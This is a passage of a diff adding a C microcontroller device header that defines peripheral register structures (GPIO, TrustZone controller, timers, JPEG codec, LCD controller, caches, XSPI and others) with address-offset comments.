*/ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief GFXTIM + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXTIM configuration register, Address offset: 0x00 */ + __IO uint32_t CGCR; /*!< GFXTIM clock generator configuration register, Address offset: 0x04 */ + __IO uint32_t TCR; /*!< GFXTIM timers configuration register, Address offset: 0x08 */ + __IO uint32_t TDR; /*!< GFXTIM timers disable register, Address offset: 0x0C */ + __IO uint32_t EVCR; /*!< GFXTIM events control register, Address offset: 0x10 */ + __IO uint32_t EVSR; /*!< GFXTIM events selection register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WDGTCR; /*!< GFXTIM watchdog timer configuration register, Address offset: 0x20 */ + uint32_t RESERVED2[3]; /*!< Reserved, Address offset: 0x24-0x2C */ + __IO uint32_t ISR; /*!< GFXTIM interrupt status register, Address offset: 0x30 */ + __IO uint32_t ICR; /*!< GFXTIM interrupt clear register, Address offset: 0x34 */ + __IO uint32_t IER; /*!< GFXTIM interrupt enable register, Address offset: 0x38 */ + __IO uint32_t TSR; /*!< GFXTIM timers status register, Address offset: 0x3C */ + __IO uint32_t LCCRR; /*!< GFXTIM line clock counter reload register, Address offset: 0x40 */ + __IO uint32_t FCCRR; /*!< GFXTIM frame clock counter reload register, Address offset: 0x44 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x48-0x4C */ + __IO uint32_t ATR; /*!< GFXTIM absolute time register, Address offset: 0x50 */ + __IO uint32_t AFCR; /*!< GFXTIM absolute frame counter register, Address offset: 0x54 */ + __IO uint32_t ALCR; /*!< GFXTIM absolute line counter register, Address offset: 0x58 */ + uint32_t RESERVED4[1]; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t AFCC1R; /*!< GFXTIM absolute frame counter compare 1 register, Address offset: 0x60 */ + uint32_t RESERVED5[3]; /*!< Reserved, Address offset: 0x64-0X6C */ + __IO uint32_t ALCC1R; /*!< GFXTIM absolute line counter compare 1 register, Address offset: 0x70 */ + __IO uint32_t ALCC2R; /*!< GFXTIM absolute line counter compare 2 register, Address offset: 0x74 */ + uint32_t RESERVED6[2]; /*!< Reserved, Address offset: 0x78-0X7C */ + __IO uint32_t RFC1R; /*!< GFXTIM relative frame counter 1 register, Address offset: 0x80 */ + __IO uint32_t RFC1RR; /*!< GFXTIM relative frame counter 1 reload register, Address offset: 0x84 */ + __IO uint32_t RFC2R; /*!< GFXTIM relative frame counter 2 register, Address offset: 0x88 */ + __IO uint32_t RFC2RR; /*!< GFXTIM relative frame counter 2 reload register, Address offset: 0x8C */ + uint32_t RESERVED7[4]; /*!< Reserved, Address offset: 0x90-0X9C */ + __IO uint32_t WDGCR; /*!< GFXTIM watchdog counter register, Address offset: 0xA0 */ + __IO uint32_t WDGRR; /*!< GFXTIM watchdog reload register, Address offset: 0xA4 */ + __IO uint32_t WDGPAR; /*!< GFXTIM watchdog pre-alarm register, Address offset: 0xA8 */ + uint32_t RESERVED8[209]; /*!< Reserved, Address offset: 0xAC-0X3EC */ + __IO uint32_t HWCFGR; /*!< GFXTIM HW configuration register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< GFXTIM version register, Address offset: 0x3F4 */ + __IO uint32_t IPIDR; /*!< GFXTIM identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< GFXTIM size identification register, Address offset: 0x3FC */ +} GFXTIM_TypeDef; + +/** + * @brief JPEG Codec + */ +typedef struct +{ + __IO uint32_t CONFR0; /*!< JPEG Codec Control Register (JPEG_CONFR0), Address offset: 00h */ + __IO uint32_t CONFR1; /*!< JPEG Codec Control Register (JPEG_CONFR1), Address offset: 04h */ + __IO uint32_t CONFR2; /*!< JPEG Codec Control Register (JPEG_CONFR2), Address offset: 08h */ + __IO uint32_t CONFR3; /*!< JPEG Codec Control Register (JPEG_CONFR3), Address offset: 0Ch */ + __IO uint32_t CONFR4; /*!< JPEG Codec Control Register (JPEG_CONFR4), Address offset: 10h */ + __IO uint32_t CONFR5; /*!< JPEG Codec Control Register (JPEG_CONFR5), Address offset: 14h */ + __IO uint32_t CONFR6; /*!< JPEG Codec Control Register (JPEG_CONFR6), Address offset: 18h */ + __IO uint32_t CONFR7; /*!< JPEG Codec Control Register (JPEG_CONFR7), Address offset: 1Ch */ + uint32_t Reserved20[4]; /* Reserved Address offset: 20h-2Ch */ + __IO uint32_t CR; /*!< JPEG Control Register (JPEG_CR), Address offset: 30h */ + __IO uint32_t SR; /*!< JPEG Status Register (JPEG_SR), Address offset: 34h */ + __IO uint32_t CFR; /*!< JPEG Clear Flag Register (JPEG_CFR), Address offset: 38h */ + uint32_t Reserved3c; /* Reserved Address offset: 3Ch */ + __IO uint32_t DIR; /*!< JPEG Data Input Register (JPEG_DIR), Address offset: 40h */ + __IO uint32_t DOR; /*!< JPEG Data Output Register (JPEG_DOR), Address offset: 44h */ + uint32_t Reserved48[2]; /* Reserved Address offset: 48h-4Ch */ + __IO uint32_t QMEM0[16]; /*!< JPEG quantization tables 0, Address offset: 50h-8Ch */ + __IO uint32_t QMEM1[16]; /*!< JPEG quantization tables 1, Address offset: 90h-CCh */ + __IO uint32_t QMEM2[16]; /*!< JPEG quantization tables 2, Address offset: D0h-10Ch */ + __IO uint32_t QMEM3[16]; /*!< JPEG quantization tables 3, Address offset: 110h-14Ch */ + __IO uint32_t HUFFMIN[16]; /*!< JPEG HuffMin tables, Address offset: 150h-18Ch */ + __IO uint32_t HUFFBASE[32]; /*!< JPEG HuffSymb tables, Address offset: 190h-20Ch */ + __IO uint32_t HUFFSYMB[84]; /*!< JPEG HUFFSYMB tables, Address offset: 210h-35Ch */ + __IO uint32_t DHTMEM[103]; /*!< JPEG DHTMem tables, Address offset: 360h-4F8h */ + uint32_t Reserved4FC; /* Reserved Address offset: 4FCh */ + __IO uint32_t HUFFENC_AC0[88]; /*!< JPEG encodor, AC Huffman table 0, Address offset: 500h-65Ch */ + __IO uint32_t HUFFENC_AC1[88]; /*!< JPEG encodor, AC Huffman table 1, Address offset: 660h-7BCh */ + __IO uint32_t HUFFENC_DC0[8]; /*!< JPEG encodor, DC Huffman table 0, Address offset: 7C0h-7DCh */ + __IO uint32_t HUFFENC_DC1[8]; /*!< JPEG encodor, DC Huffman table 1, Address offset: 7E0h-7FCh */ + +} JPEG_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI 